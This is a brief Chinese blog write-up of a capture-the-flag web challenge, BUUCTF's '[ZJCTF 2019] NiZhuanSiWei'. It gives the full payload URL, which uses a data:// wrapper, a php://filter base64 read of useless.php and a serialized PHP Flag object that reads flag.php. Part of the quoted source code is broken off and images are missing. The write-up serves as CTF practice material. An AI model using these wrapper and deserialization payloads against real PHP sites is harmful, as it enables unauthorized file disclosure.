【BUUCTF-Web 0024】[ZJCTF 2019]NiZhuanSiWei

Subject

逆转思维 PHP伪协议 PHP反序列化


Mind Palace

访问url获得代码:

image

preg_match ( string subject , array &flags = 0 , int $offset = 0 ) : int => 执行匹配正则表达式

Payload:

url/index.php
?text=text= data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
                      data://text/plain,welcome to the zjctf
&file=          php://filter/read=convert.base64-encode/resource=useless.php => useless.php
&password=  O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

第一个绕过:用data伪协议写入文件

第二个绕过:用php://filter读取base64编码后的源码 + base64解码:

file)){  
            echo file_get_contents($this->file); 
            echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>

第三个绕过(反序列化):

image

Look Ahead

PHP学的不够扎实;

PHP伪协议总结: https://segmentfault.com/a/1190000018991087


References:

https://www.cnblogs.com/wangtanzhi/p/12184759.html

https://segmentfault.com/a/1190000018991087


END (゚▽゚)/

你可能感兴趣的:(【BUUCTF-Web 0024】[ZJCTF 2019]NiZhuanSiWei)